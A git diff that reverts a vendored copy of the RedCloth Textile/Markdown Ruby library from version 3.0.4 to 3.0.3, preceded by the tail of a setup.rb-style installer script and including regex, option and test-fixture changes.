%w( config setup install clean ).collect {|t| sprintf fmt, t } + }.flatten + end + + def allext( dir ) + _allext(dir) or raise InstallError, + "no extention exists: Have you done 'ruby #{$0} setup' ?" + end + + DLEXT = /\.#{ ::Config::CONFIG['DLEXT'] }\z/ + + def _allext( dir ) + Dir.open( dir ) {|d| + return d.find_all {|fname| DLEXT === fname } + } + end + + # + # clean + # + + def exec_clean + exec_task_traverse 'clean' + rm_f 'config.save' + rm_f 'InstalledFiles' + end + + def clean_dir_bin( rel ) + end + + def clean_dir_lib( rel ) + end + + def clean_dir_ext( rel ) + clean + end + + def clean + command config('make-prog') + ' clean' if File.file? 'Makefile' + end + + def clean_dir_data( rel ) + end + + # + # lib + # + + def exec_task_traverse( task ) + run_hook 'pre-' + task + FILETYPES.each do |type| + if config('without-ext') == 'yes' and type == 'ext' then + $stderr.puts 'skipping ext/* by user option' if verbose? + next + end + traverse task, type, task + '_dir_' + type + end + run_hook 'post-' + task + end + + def traverse( task, rel, mid ) + dive_into( rel ) { + run_hook 'pre-' + task + __send__ mid, rel.sub( %r_\A.*?(?:/|\z)_, '' ) + all_dirs( curr_srcdir ).each do |d| + traverse task, rel + '/' + d, mid + end + run_hook 'post-' + task + } + end + + def run_hook( name ) + try_run_hook curr_srcdir + '/' + name or + try_run_hook curr_srcdir + '/' + name + '.rb' + end + + def try_run_hook( fname ) + return false unless File.file? fname + + env = self.dup + begin + env.instance_eval File.read_all(fname), fname, 1 + rescue + raise InstallError, "hook #{fname} failed:\n" + $!.message + end + true + end + + def extdir?( dir ) + File.exist? dir + '/MANIFEST' + end + +end + +### end base.rb +### begin toplevel.rb + +class ToplevelInstaller < Installer + + TASKS = [ + [ 'config', 'saves your configurations' ], + [ 'show', 'shows current configuration' ], + [ 'setup', 'compiles extention or else' ], + [ 'install', 'installs files' ], + [ 'clean', "does `make clean' for each extention" ] + ] + + + def initialize( root ) + super nil, {'verbose' => true}, root, '.' + Installer.declear_toplevel_installer self + end + + + def execute + run_metaconfigs + + case task = parsearg_global() + when 'config' + @config = ConfigTable.new + else + @config = ConfigTable.load + end + parsearg_TASK task + + exectask task + end + + + def run_metaconfigs + MetaConfigEnvironment.eval_file "#{srcdir_root}/#{metaconfig}" + end + + def metaconfig + 'metaconfig' + end + + + def exectask( task ) + if task == 'show' then + exec_show + else + try task + end + end + + def try( task ) + $stderr.printf "#{File.basename $0}: entering %s phase...\n", task if verbose? + begin + __send__ 'exec_' + task + rescue + $stderr.printf "%s failed\n", task + raise + end + $stderr.printf "#{File.basename $0}: %s done.\n", task if verbose? + end + + # + # processing arguments + # + + def parsearg_global + task_re = /\A(?:#{TASKS.collect {|i| i[0] }.join '|'})\z/ + + while arg = ARGV.shift do + case arg + when /\A\w+\z/ + task_re === arg or raise InstallError, "wrong task: #{arg}" + return arg + + when '-q', '--quiet' + @options['verbose'] = false + + when '--verbose' + @options['verbose'] = true + + when '-h', '--help' + print_usage $stdout + exit 0 + + when '-v', '--version' + puts "#{File.basename $0} version #{Version}" + exit 0 + + when '--copyright' + puts Copyright + exit 0 + + else + raise InstallError, "unknown global option '#{arg}'" + end + end + + raise InstallError, 'no task or global option given' + end + + + def parsearg_TASK( task ) + mid = "parsearg_#{task}" + if respond_to? mid, true then + __send__ mid + else + ARGV.empty? or + raise InstallError, "#{task}: unknown options: #{ARGV.join ' '}" + end + end + + def parsearg_config + re = /\A--(#{ConfigTable.keys.join '|'})(?:=(.*))?\z/ + @options['config-opt'] = [] + + while i = ARGV.shift do + if /\A--?\z/ === i then + @options['config-opt'] = ARGV.dup + break + end + m = re.match(i) or raise InstallError, "config: unknown option #{i}" + name, value = m.to_a[1,2] + if value then + if ConfigTable.bool_config?(name) then + /\A(y(es)?|n(o)?|t(rue)?|f(alse))\z/i === value or raise InstallError, "config: --#{name} allows only yes/no for argument" + value = (/\Ay(es)?|\At(rue)/i === value) ? 'yes' : 'no' + end + else + ConfigTable.bool_config?(name) or raise InstallError, "config: --#{name} requires argument" + value = 'yes' + end + @config[name] = value + end + end + + def parsearg_install + @options['no-harm'] = false + @options['install-prefix'] = '' + while a = ARGV.shift do + case a + when /\A--no-harm\z/ + @options['no-harm'] = true + when /\A--prefix=(.*)\z/ + path = $1 + path = File.expand_path(path) unless path[0,1] == '/' + @options['install-prefix'] = path + else + raise InstallError, "install: unknown option #{a}" + end + end + end + + + def print_usage( out ) + out.puts + out.puts 'Usage:' + out.puts " ruby #{File.basename $0} " + out.puts " ruby #{File.basename $0} [] []" + + fmt = " %-20s %s\n" + out.puts + out.puts 'Global options:' + out.printf fmt, '-q,--quiet', 'suppress message outputs' + out.printf fmt, ' --verbose', 'output messages verbosely' + out.printf fmt, '-h,--help', 'print this message' + out.printf fmt, '-v,--version', 'print version and quit' + out.printf fmt, '--copyright', 'print copyright and quit' + + out.puts + out.puts 'Tasks:' + TASKS.each do |name, desc| + out.printf " %-10s %s\n", name, desc + end + + out.puts + out.puts 'Options for config:' + ConfigTable.each_definition do |name, (default, arg, desc, default2)| + out.printf " %-20s %s [%s]\n", + '--'+ name + (ConfigTable.bool_config?(name) ? '' : '='+arg), + desc, + default2 || default + end + out.printf " %-20s %s [%s]\n", + '--rbconfig=path', 'your rbconfig.rb to load', "running ruby's" + + out.puts + out.puts 'Options for install:' + out.printf " %-20s %s [%s]\n", + '--no-harm', 'only display what to do if given', 'off' + + out.puts + end + + # + # config + # + + def exec_config + super + @config.save + end + + # + # show + # + + def exec_show + ConfigTable.each_name do |k| + v = @config.get_raw(k) + if not v or v.empty? then + v = '(not specified)' + end + printf "%-10s %s\n", k, v + end + end + +end + +### end toplevel.rb + +if $0 == __FILE__ then + begin + installer = ToplevelInstaller.new( Dir.pwd ) + installer.execute + rescue + raise if $DEBUG + $stderr.puts $!.message + $stderr.puts "try 'ruby #{$0} --help' for usage" + exit 1 + end +end diff --git a/vendor/RedCloth-3.0.4/lib/redcloth.rb b/vendor/RedCloth-3.0.3/lib/redcloth.rb similarity index 94% rename from vendor/RedCloth-3.0.4/lib/redcloth.rb rename to vendor/RedCloth-3.0.3/lib/redcloth.rb index 1228af6e..03df12b3 100644 --- a/vendor/RedCloth-3.0.4/lib/redcloth.rb +++ b/vendor/RedCloth-3.0.3/lib/redcloth.rb @@ -166,7 +166,7 @@ class RedCloth < String - VERSION = '3.0.4' + VERSION = '3.0.3' DEFAULT_RULES = [:textile, :markdown] # @@ -193,18 +193,6 @@ class RedCloth < String # attr_accessor :hard_breaks - # Accessor for toggling lite mode. - # - # In lite mode, block-level rules are ignored. This means - # that tables, paragraphs, lists, and such aren't available. - # Only the inline markup for bold, italics, entities and so on. - # - # r = RedCloth.new( "And then? She *fell*!", [:lite_mode] ) - # r.to_html - # #=> "And then? She fell!" - # - attr_accessor :lite_mode - # # Accessor for toggling span caps. # @@ -231,7 +219,7 @@ class RedCloth < String # inline_textile_image:: Textile inline images # inline_textile_link:: Textile inline links # inline_textile_span:: Textile inline spans - # glyphs_textile:: Textile entities (such as em-dashes and smart quotes) + # inline_textile_glyphs:: Textile entities (such as em-dashes and smart quotes) # # == Markdown # @@ -272,7 +260,7 @@ class RedCloth < String @shelf = [] textile_rules = [:refs_textile, :block_textile_table, :block_textile_lists, :block_textile_prefix, :inline_textile_image, :inline_textile_link, - :inline_textile_code, :inline_textile_span, :glyphs_textile] + :inline_textile_code, :inline_textile_glyphs, :inline_textile_span] markdown_rules = [:refs_markdown, :block_markdown_setext, :block_markdown_atx, :block_markdown_rule, :block_markdown_bq, :block_markdown_lists, :inline_markdown_reflink, :inline_markdown_link] @@ -290,16 +278,14 @@ class RedCloth < String # standard clean up incoming_entities text clean_white_space text + no_textile text # start processor @pre_list = [] rip_offtags text - no_textile text - hard_break text - unless @lite_mode - refs text - blocks text - end + hard_break text + refs text + blocks text inline text smooth_offtags text @@ -347,8 +333,6 @@ class RedCloth < String C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)" # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' ) PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' ) - PUNCT_NOQ = Regexp::quote( '!"#$&\',./:;=?@\\`|' ) - PUNCT_Q = Regexp::quote( '*-_+^~%' ) HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(?=\s|<|$)' # Text markup tags, don't conflict with block tags @@ -358,6 +342,41 @@ class RedCloth < String 'br', 'map', 'q', 'sub', 'sup', 'span', 'bdo' ] + # Elements to handle + GLYPHS = [ + # [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1’\2' ], # single closing + [ /([^\s\[{(>])\'/, '\1’' ], # single closing + [ /\'(?=\s|s\b|[#{PUNCT}])/, '’' ], # single closing + [ /\'/, '‘' ], # single opening + # [ /([^\s\[{(])?"(\s|:|$)/, '\1”\2' ], # double closing + [ /([^\s\[{(>])"/, '\1”' ], # double closing + [ /"(?=\s|[#{PUNCT}])/, '”' ], # double closing + [ /"/, '“' ], # double opening + [ /\b( )?\.{3}/, '\1…' ], # ellipsis + [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '\1' ], # 3+ uppercase acronym + [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^\2\3', :no_span_caps ], # 3+ uppercase caps + [ /(\.\s)?\s?--\s?/, '\1—' ], # em dash + [ /\s->\s/, ' → ' ], # right arrow + [ /\s-\s/, ' – ' ], # en dash + [ /(\d+) ?x ?(\d+)/, '\1×\2' ], # dimension sign + [ /\b ?[(\[]TM[\])]/i, '™' ], # trademark + [ /\b ?[(\[]R[\])]/i, '®' ], # registered + [ /\b ?[(\[]C[\])]/i, '©' ] # copyright + ] + + H_ALGN_VALS = { + '<' => 'left', + '=' => 'center', + '>' => 'right', + '<>' => 'justify' + } + + V_ALGN_VALS = { + '^' => 'top', + '-' => 'middle', + '~' => 'bottom' + } + QTAGS = [ ['**', 'b'], ['*', 'strong'], @@ -379,56 +398,19 @@ class RedCloth < String (#{rcq}) (#{C}) (?::(\S+?))? - (\S.*?\S|\S) + (.+?) #{rcq} (?=\W)/x else /(#{rcq}) (#{C}) - (?::(\S+))? - (\S.*?\S|\S) + (?::(\S+?))? + (.+?) #{rcq}/xm end [rc, ht, re, rtype] end - # Elements to handle - GLYPHS = [ - # [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1’\2' ], # single closing - [ /([^\s\[{(>#{PUNCT_Q}][#{PUNCT_Q}]*)\'/, '\1’' ], # single closing - [ /\'(?=[#{PUNCT_Q}]*(s\b|[\s#{PUNCT_NOQ}]))/, '’' ], # single closing - [ /\'/, '‘' ], # single opening - [ //, '>' ], # greater-than - # [ /([^\s\[{(])?"(\s|:|$)/, '\1”\2' ], # double closing - [ /([^\s\[{(>#{PUNCT_Q}][#{PUNCT_Q}]*)"/, '\1”' ], # double closing - [ /"(?=[#{PUNCT_Q}]*[\s#{PUNCT_NOQ}])/, '”' ], # double closing - [ /"/, '“' ], # double opening - [ /\b( )?\.{3}/, '\1…' ], # ellipsis - [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '\1' ], # 3+ uppercase acronym - [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]+[A-Z0-9])([^\2\3', :no_span_caps ], # 3+ uppercase caps - [ /(\.\s)?\s?--\s?/, '\1—' ], # em dash - [ /\s->\s/, ' → ' ], # right arrow - [ /\s-\s/, ' – ' ], # en dash - [ /(\d+) ?x ?(\d+)/, '\1×\2' ], # dimension sign - [ /\b ?[(\[]TM[\])]/i, '™' ], # trademark - [ /\b ?[(\[]R[\])]/i, '®' ], # registered - [ /\b ?[(\[]C[\])]/i, '©' ] # copyright - ] - - H_ALGN_VALS = { - '<' => 'left', - '=' => 'center', - '>' => 'right', - '<>' => 'justify' - } - - V_ALGN_VALS = { - '^' => 'top', - '-' => 'middle', - '~' => 'bottom' - } - # # Flexible HTML escaping # @@ -548,7 +530,7 @@ class RedCloth < String depth.pop end end - if depth.last and depth.last.length == tl.length + if depth.last.length == tl.length lines[line_id - 1] << '' end end @@ -595,7 +577,7 @@ class RedCloth < String end def hard_break( text ) - text.gsub!( /(.)\n(?!\Z| *([#*=]+(\s|$)|[{|]))/, "\\1
      " ) if hard_breaks + text.gsub!( /(.)\n(?! *[#*\s|]|$)/, "\\1
      " ) if hard_breaks end BLOCKS_GROUP_RE = /\n{2,}(?! )/m @@ -723,9 +705,9 @@ class RedCloth < String end end - MARKDOWN_RULE_RE = /^(#{ + MARKDOWN_RULE_RE = /^#{ ['*', '-', '_'].collect { |ch| '( ?' + Regexp::quote( ch ) + ' ?){3,}' }.join( '|' ) - })$/ + }$/ def block_markdown_rule( text ) text.gsub!( MARKDOWN_RULE_RE ) do |blk| @@ -737,6 +719,9 @@ class RedCloth < String def block_markdown_lists( text ) end + def inline_markdown_link( text ) + end + def inline_textile_span( text ) QTAGS.each do |qtag_rc, ht, qtag_re, rtype| text.gsub!( qtag_re ) do |m| @@ -918,12 +903,12 @@ class RedCloth < String def shelve( val ) @shelf << val - " :redsh##{ @shelf.length }:" + " <#{ @shelf.length }>" end def retrieve( text ) @shelf.each_with_index do |r, i| - text.gsub!( " :redsh##{ i + 1 }:", r ) + text.gsub!( " <#{ i + 1 }>", r ) end end @@ -980,7 +965,7 @@ class RedCloth < String HASTAG_MATCH = /(<\/?\w[^\n]*?>)/m ALLTAG_MATCH = /(<\/?\w[^\n]*?>)|.*?(?=<\/?\w[^\n]*?>|$)/m - def glyphs_textile( text, level = 0 ) + def inline_textile_glyphs( text, level = 0 ) if text !~ HASTAG_MATCH pgl text footnote_ref text @@ -996,11 +981,11 @@ class RedCloth < String codepre = 0 if codepre < 0 end elsif codepre.zero? - glyphs_textile( line, level + 1 ) + inline_textile_glyphs( line, level + 1 ) else htmlesc( line, :NoQuotes ) end - # p [level, codepre, line] + ## p [level, codepre, orig_line, line] line end @@ -1048,10 +1033,8 @@ class RedCloth < String end def inline( text ) - [/^inline_/, /^glyphs_/].each do |meth_re| - @rules.each do |rule_name| - method( rule_name ).call( text ) if rule_name.to_s.match( meth_re ) - end + @rules.each do |rule_name| + method( rule_name ).call( text ) if rule_name.to_s.match /^inline_/ end end @@ -1114,7 +1097,7 @@ class RedCloth < String q2 = ( q != '' ? q : '\s' ) if raw[3] =~ /#{prop}\s*=\s*#{q}([^#{q2}]+)#{q}/i attrv = $1 - next if prop == 'src' and attrv =~ %r{^(?!http)\w+:} + next if prop == 'src' and attrv !~ /^http/ pcs << "#{prop}=\"#{$1.gsub('"', '\\"')}\"" break end diff --git a/vendor/RedCloth-3.0.4/run-tests.rb b/vendor/RedCloth-3.0.3/run-tests.rb similarity index 83% rename from vendor/RedCloth-3.0.4/run-tests.rb rename to vendor/RedCloth-3.0.3/run-tests.rb index 1f267b64..65b5c969 100644 --- a/vendor/RedCloth-3.0.4/run-tests.rb +++ b/vendor/RedCloth-3.0.3/run-tests.rb @@ -5,9 +5,7 @@ require 'yaml' Dir["tests/*.yml"].each do |testfile| YAML::load_documents( File.open( testfile ) ) do |doc| if doc['in'] and doc['out'] - opts = [] - opts << :hard_breaks if testfile =~ /hard_breaks/ - red = RedCloth.new( doc['in'], opts ) + red = RedCloth.new( doc['in'] ) html = if testfile =~ /markdown/ red.to_html( :markdown ) else diff --git a/vendor/RedCloth-3.0.4/tests/code.yml b/vendor/RedCloth-3.0.3/tests/code.yml similarity index 100% rename from vendor/RedCloth-3.0.4/tests/code.yml rename to vendor/RedCloth-3.0.3/tests/code.yml diff --git a/vendor/RedCloth-3.0.4/tests/images.yml b/vendor/RedCloth-3.0.3/tests/images.yml similarity index 100% rename from vendor/RedCloth-3.0.4/tests/images.yml rename to vendor/RedCloth-3.0.3/tests/images.yml diff --git a/vendor/RedCloth-3.0.4/tests/instiki.yml b/vendor/RedCloth-3.0.3/tests/instiki.yml similarity index 100% rename from vendor/RedCloth-3.0.4/tests/instiki.yml rename to vendor/RedCloth-3.0.3/tests/instiki.yml diff --git a/vendor/RedCloth-3.0.4/tests/links.yml b/vendor/RedCloth-3.0.3/tests/links.yml similarity index 100% rename from vendor/RedCloth-3.0.4/tests/links.yml rename to vendor/RedCloth-3.0.3/tests/links.yml diff --git a/vendor/RedCloth-3.0.4/tests/lists.yml b/vendor/RedCloth-3.0.3/tests/lists.yml similarity index 100% rename from vendor/RedCloth-3.0.4/tests/lists.yml rename to vendor/RedCloth-3.0.3/tests/lists.yml diff --git a/vendor/RedCloth-3.0.4/tests/markdown.yml b/vendor/RedCloth-3.0.3/tests/markdown.yml similarity index 100% rename from vendor/RedCloth-3.0.4/tests/markdown.yml rename to vendor/RedCloth-3.0.3/tests/markdown.yml diff --git a/vendor/RedCloth-3.0.4/tests/poignant.yml b/vendor/RedCloth-3.0.3/tests/poignant.yml similarity index 100% rename from vendor/RedCloth-3.0.4/tests/poignant.yml rename to vendor/RedCloth-3.0.3/tests/poignant.yml diff --git a/vendor/RedCloth-3.0.4/tests/table.yml b/vendor/RedCloth-3.0.3/tests/table.yml similarity index 95% rename from vendor/RedCloth-3.0.4/tests/table.yml rename to vendor/RedCloth-3.0.3/tests/table.yml index 3ce974dd..bf5059e1 100644 --- a/vendor/RedCloth-3.0.4/tests/table.yml +++ b/vendor/RedCloth-3.0.3/tests/table.yml @@ -39,28 +39,28 @@ out: |- 11/18/04 11/18/04 070 - XML spec complete + XML spec complete 11/29/04 11/29/04 011 - XML spec complete (KH is on schedule) + XML spec complete (KH is on schedule) 11/29/04 11/29/04 051 - XML spec complete (KH is on schedule) + XML spec complete (KH is on schedule) 11/29/04 11/29/04 081 - XML spec complete (KH is on schedule) + XML spec complete (KH is on schedule) diff --git a/vendor/RedCloth-3.0.4/tests/textism.yml b/vendor/RedCloth-3.0.3/tests/textism.yml similarity index 97% rename from vendor/RedCloth-3.0.4/tests/textism.yml rename to vendor/RedCloth-3.0.3/tests/textism.yml index 1e6f8d6b..5489c04d 100644 --- a/vendor/RedCloth-3.0.4/tests/textism.yml +++ b/vendor/RedCloth-3.0.3/tests/textism.yml @@ -71,12 +71,6 @@ out:

      a phrase

      in: '**a phrase**' out:

      a phrase

      --- -in: '*(a)* a' -out:

      (a) a

      ---- -in: '*(a)* *' -out:

      (a) *

      ---- in: Nabokov's ??Pnin?? out:

      Nabokov’s Pnin

      --- @@ -401,6 +395,3 @@ out: |-
    9. We must act
    10. ---- -in: '"test":http://foo.com/b---ar' -out:

      test

      diff --git a/vendor/RedCloth-3.0.4/setup.rb b/vendor/RedCloth-3.0.4/setup.rb deleted file mode 100644 index 462522b5..00000000 --- a/vendor/RedCloth-3.0.4/setup.rb +++ /dev/null @@ -1,1376 +0,0 @@ -# -# setup.rb -# -# Copyright (c) 2000-2004 Minero Aoki -# -# This program is free software. -# You can distribute/modify this program under the terms of -# the GNU LGPL, Lesser General Public License version 2.1. -# - -unless Enumerable.method_defined?(:map) # Ruby 1.4.6 - module Enumerable - alias map collect - end -end - -unless File.respond_to?(:read) # Ruby 1.6 - def File.read(fname) - open(fname) {|f| - return f.read - } - end -end - -def File.binread(fname) - open(fname, 'rb') {|f| - return f.read - } -end - -# for corrupted windows stat(2) -def File.dir?(path) - File.directory?((path[-1,1] == '/') ? path : path + '/') -end - - -class SetupError < StandardError; end - -def setup_rb_error(msg) - raise SetupError, msg -end - -# -# Config -# - -if arg = ARGV.detect {|arg| /\A--rbconfig=/ =~ arg } - ARGV.delete(arg) - require arg.split(/=/, 2)[1] - $".push 'rbconfig.rb' -else - require 'rbconfig' -end - -def multipackage_install? - FileTest.directory?(File.dirname($0) + '/packages') -end - - -class ConfigItem - def initialize(name, template, default, desc) - @name = name.freeze - @template = template - @value = default - @default = default.dup.freeze - @description = desc - end - - attr_reader :name - attr_reader :description - - attr_accessor :default - alias help_default default - - def help_opt - "--#{@name}=#{@template}" - end - - def value - @value - end - - def eval(table) - @value.gsub(%r<\$([^/]+)>) { table[$1] } - end - - def set(val) - @value = check(val) - end - - private - - def check(val) - setup_rb_error "config: --#{name} requires argument" unless val - val - end -end - -class BoolItem < ConfigItem - def config_type - 'bool' - end - - def help_opt - "--#{@name}" - end - - private - - def check(val) - return 'yes' unless val - unless /\A(y(es)?|n(o)?|t(rue)?|f(alse))\z/i =~ val - setup_rb_error "config: --#{@name} accepts only yes/no for argument" - end - (/\Ay(es)?|\At(rue)/i =~ value) ? 'yes' : 'no' - end -end - -class PathItem < ConfigItem - def config_type - 'path' - end - - private - - def check(path) - setup_rb_error "config: --#{@name} requires argument" unless path - path[0,1] == '$' ? path : File.expand_path(path) - end -end - -class ProgramItem < ConfigItem - def config_type - 'program' - end -end - -class SelectItem < ConfigItem - def initialize(name, template, default, desc) - super - @ok = template.split('/') - end - - def config_type - 'select' - end - - private - - def check(val) - unless @ok.include?(val.strip) - setup_rb_error "config: use --#{@name}=#{@template} (#{val})" - end - val.strip - end -end - -class PackageSelectionItem < ConfigItem - def initialize(name, template, default, help_default, desc) - super name, template, default, desc - @help_default = help_default - end - - attr_reader :help_default - - def config_type - 'package' - end - - private - - def check(val) - unless File.dir?("packages/#{val}") - setup_rb_error "config: no such package: #{val}" - end - val - end -end - -class ConfigTable_class - - def initialize(items) - @items = items - @table = {} - items.each do |i| - @table[i.name] = i - end - ALIASES.each do |ali, name| - @table[ali] = @table[name] - end - end - - include Enumerable - - def each(&block) - @items.each(&block) - end - - def key?(name) - @table.key?(name) - end - - def lookup(name) - @table[name] or raise ArgumentError, "no such config item: #{name}" - end - - def add(item) - @items.push item - @table[item.name] = item - end - - def remove(name) - item = lookup(name) - @items.delete_if {|i| i.name == name } - @table.delete_if {|name, i| i.name == name } - item - end - - def new - dup() - end - - def savefile - '.config' - end - - def load - begin - t = dup() - File.foreach(savefile()) do |line| - k, v = *line.split(/=/, 2) - t[k] = v.strip - end - t - rescue Errno::ENOENT - setup_rb_error $!.message + "#{File.basename($0)} config first" - end - end - - def save - @items.each {|i| i.value } - File.open(savefile(), 'w') {|f| - @items.each do |i| - f.printf "%s=%s\n", i.name, i.value if i.value - end - } - end - - def [](key) - lookup(key).eval(self) - end - - def []=(key, val) - lookup(key).set val - end - -end - -c = ::Config::CONFIG - -rubypath = c['bindir'] + '/' + c['ruby_install_name'] - -major = c['MAJOR'].to_i -minor = c['MINOR'].to_i -teeny = c['TEENY'].to_i -version = "#{major}.#{minor}" - -# ruby ver. >= 1.4.4? -newpath_p = ((major >= 2) or - ((major == 1) and - ((minor >= 5) or - ((minor == 4) and (teeny >= 4))))) - -if c['rubylibdir'] - # V < 1.6.3 - _stdruby = c['rubylibdir'] - _siteruby = c['sitedir'] - _siterubyver = c['sitelibdir'] - _siterubyverarch = c['sitearchdir'] -elsif newpath_p - # 1.4.4 <= V <= 1.6.3 - _stdruby = "$prefix/lib/ruby/#{version}" - _siteruby = c['sitedir'] - _siterubyver = "$siteruby/#{version}" - _siterubyverarch = "$siterubyver/#{c['arch']}" -else - # V < 1.4.4 - _stdruby = "$prefix/lib/ruby/#{version}" - _siteruby = "$prefix/lib/ruby/#{version}/site_ruby" - _siterubyver = _siteruby - _siterubyverarch = "$siterubyver/#{c['arch']}" -end -libdir = '-* dummy libdir *-' -stdruby = '-* dummy rubylibdir *-' -siteruby = '-* dummy site_ruby *-' -siterubyver = '-* dummy site_ruby version *-' -parameterize = lambda {|path| - path.sub(/\A#{Regexp.quote(c['prefix'])}/, '$prefix')\ - .sub(/\A#{Regexp.quote(libdir)}/, '$libdir')\ - .sub(/\A#{Regexp.quote(stdruby)}/, '$stdruby')\ - .sub(/\A#{Regexp.quote(siteruby)}/, '$siteruby')\ - .sub(/\A#{Regexp.quote(siterubyver)}/, '$siterubyver') -} -libdir = parameterize.call(c['libdir']) -stdruby = parameterize.call(_stdruby) -siteruby = parameterize.call(_siteruby) -siterubyver = parameterize.call(_siterubyver) -siterubyverarch = parameterize.call(_siterubyverarch) - -if arg = c['configure_args'].split.detect {|arg| /--with-make-prog=/ =~ arg } - makeprog = arg.sub(/'/, '').split(/=/, 2)[1] -else - makeprog = 'make' -end - -common_conf = [ - PathItem.new('prefix', 'path', c['prefix'], - 'path prefix of target environment'), - PathItem.new('bindir', 'path', parameterize.call(c['bindir']), - 'the directory for commands'), - PathItem.new('libdir', 'path', libdir, - 'the directory for libraries'), - PathItem.new('datadir', 'path', parameterize.call(c['datadir']), - 'the directory for shared data'), - PathItem.new('mandir', 'path', parameterize.call(c['mandir']), - 'the directory for man pages'), - PathItem.new('sysconfdir', 'path', parameterize.call(c['sysconfdir']), - 'the directory for man pages'), - PathItem.new('stdruby', 'path', stdruby, - 'the directory for standard ruby libraries'), - PathItem.new('siteruby', 'path', siteruby, - 'the directory for version-independent aux ruby libraries'), - PathItem.new('siterubyver', 'path', siterubyver, - 'the directory for aux ruby libraries'), - PathItem.new('siterubyverarch', 'path', siterubyverarch, - 'the directory for aux ruby binaries'), - PathItem.new('rbdir', 'path', '$siterubyver', - 'the directory for ruby scripts'), - PathItem.new('sodir', 'path', '$siterubyverarch', - 'the directory for ruby extentions'), - PathItem.new('rubypath', 'path', rubypath, - 'the path to set to #! line'), - ProgramItem.new('rubyprog', 'name', rubypath, - 'the ruby program using for installation'), - ProgramItem.new('makeprog', 'name', makeprog, - 'the make program to compile ruby extentions'), - SelectItem.new('shebang', 'all/ruby/never', 'ruby', - 'shebang line (#!) editing mode'), - BoolItem.new('without-ext', 'yes/no', 'no', - 'does not compile/install ruby extentions') -] -class ConfigTable_class # open again - ALIASES = { - 'std-ruby' => 'stdruby', - 'site-ruby-common' => 'siteruby', # For backward compatibility - 'site-ruby' => 'siterubyver', # For backward compatibility - 'bin-dir' => 'bindir', - 'bin-dir' => 'bindir', - 'rb-dir' => 'rbdir', - 'so-dir' => 'sodir', - 'data-dir' => 'datadir', - 'ruby-path' => 'rubypath', - 'ruby-prog' => 'rubyprog', - 'ruby' => 'rubyprog', - 'make-prog' => 'makeprog', - 'make' => 'makeprog' - } -end -multipackage_conf = [ - PackageSelectionItem.new('with', 'name,name...', '', 'ALL', - 'package names that you want to install'), - PackageSelectionItem.new('without', 'name,name...', '', 'NONE', - 'package names that you do not want to install') -] -if multipackage_install? - ConfigTable = ConfigTable_class.new(common_conf + multipackage_conf) -else - ConfigTable = ConfigTable_class.new(common_conf) -end - - -module MetaConfigAPI - - def eval_file_ifexist(fname) - instance_eval File.read(fname), fname, 1 if File.file?(fname) - end - - def config_names - ConfigTable.map {|i| i.name } - end - - def config?(name) - ConfigTable.key?(name) - end - - def bool_config?(name) - ConfigTable.lookup(name).config_type == 'bool' - end - - def path_config?(name) - ConfigTable.lookup(name).config_type == 'path' - end - - def value_config?(name) - case ConfigTable.lookup(name).config_type - when 'bool', 'path' - true - else - false - end - end - - def add_config(item) - ConfigTable.add item - end - - def add_bool_config(name, default, desc) - ConfigTable.add BoolItem.new(name, 'yes/no', default ? 'yes' : 'no', desc) - end - - def add_path_config(name, default, desc) - ConfigTable.add PathItem.new(name, 'path', default, desc) - end - - def set_config_default(name, default) - ConfigTable.lookup(name).default = default - end - - def remove_config(name) - ConfigTable.remove(name) - end - -end - - -# -# File Operations -# - -module FileOperations - - def mkdir_p(dirname, prefix = nil) - dirname = prefix + File.expand_path(dirname) if prefix - $stderr.puts "mkdir -p #{dirname}" if verbose? - return if no_harm? - - # does not check '/'... it's too abnormal case - dirs = File.expand_path(dirname).split(%r<(?=/)>) - if /\A[a-z]:\z/i =~ dirs[0] - disk = dirs.shift - dirs[0] = disk + dirs[0] - end - dirs.each_index do |idx| - path = dirs[0..idx].join('') - Dir.mkdir path unless File.dir?(path) - end - end - - def rm_f(fname) - $stderr.puts "rm -f #{fname}" if verbose? - return if no_harm? - - if File.exist?(fname) or File.symlink?(fname) - File.chmod 0777, fname - File.unlink fname - end - end - - def rm_rf(dn) - $stderr.puts "rm -rf #{dn}" if verbose? - return if no_harm? - - Dir.chdir dn - Dir.foreach('.') do |fn| - next if fn == '.' - next if fn == '..' - if File.dir?(fn) - verbose_off { - rm_rf fn - } - else - verbose_off { - rm_f fn - } - end - end - Dir.chdir '..' - Dir.rmdir dn - end - - def move_file(src, dest) - File.unlink dest if File.exist?(dest) - begin - File.rename src, dest - rescue - File.open(dest, 'wb') {|f| f.write File.binread(src) } - File.chmod File.stat(src).mode, dest - File.unlink src - end - end - - def install(from, dest, mode, prefix = nil) - $stderr.puts "install #{from} #{dest}" if verbose? - return if no_harm? - - realdest = prefix ? prefix + File.expand_path(dest) : dest - realdest = File.join(realdest, File.basename(from)) if File.dir?(realdest) - str = File.binread(from) - if diff?(str, realdest) - verbose_off { - rm_f realdest if File.exist?(realdest) - } - File.open(realdest, 'wb') {|f| - f.write str - } - File.chmod mode, realdest - - File.open("#{objdir_root()}/InstalledFiles", 'a') {|f| - if prefix - f.puts realdest.sub(prefix, '') - else - f.puts realdest - end - } - end - end - - def diff?(new_content, path) - return true unless File.exist?(path) - new_content != File.binread(path) - end - - def command(str) - $stderr.puts str if verbose? - system str or raise RuntimeError, "'system #{str}' failed" - end - - def ruby(str) - command config('rubyprog') + ' ' + str - end - - def make(task = '') - command config('makeprog') + ' ' + task - end - - def extdir?(dir) - File.exist?(dir + '/MANIFEST') - end - - def all_files_in(dirname) - Dir.open(dirname) {|d| - return d.select {|ent| File.file?("#{dirname}/#{ent}") } - } - end - - REJECT_DIRS = %w( - CVS SCCS RCS CVS.adm .svn - ) - - def all_dirs_in(dirname) - Dir.open(dirname) {|d| - return d.select {|n| File.dir?("#{dirname}/#{n}") } - %w(. ..) - REJECT_DIRS - } - end - 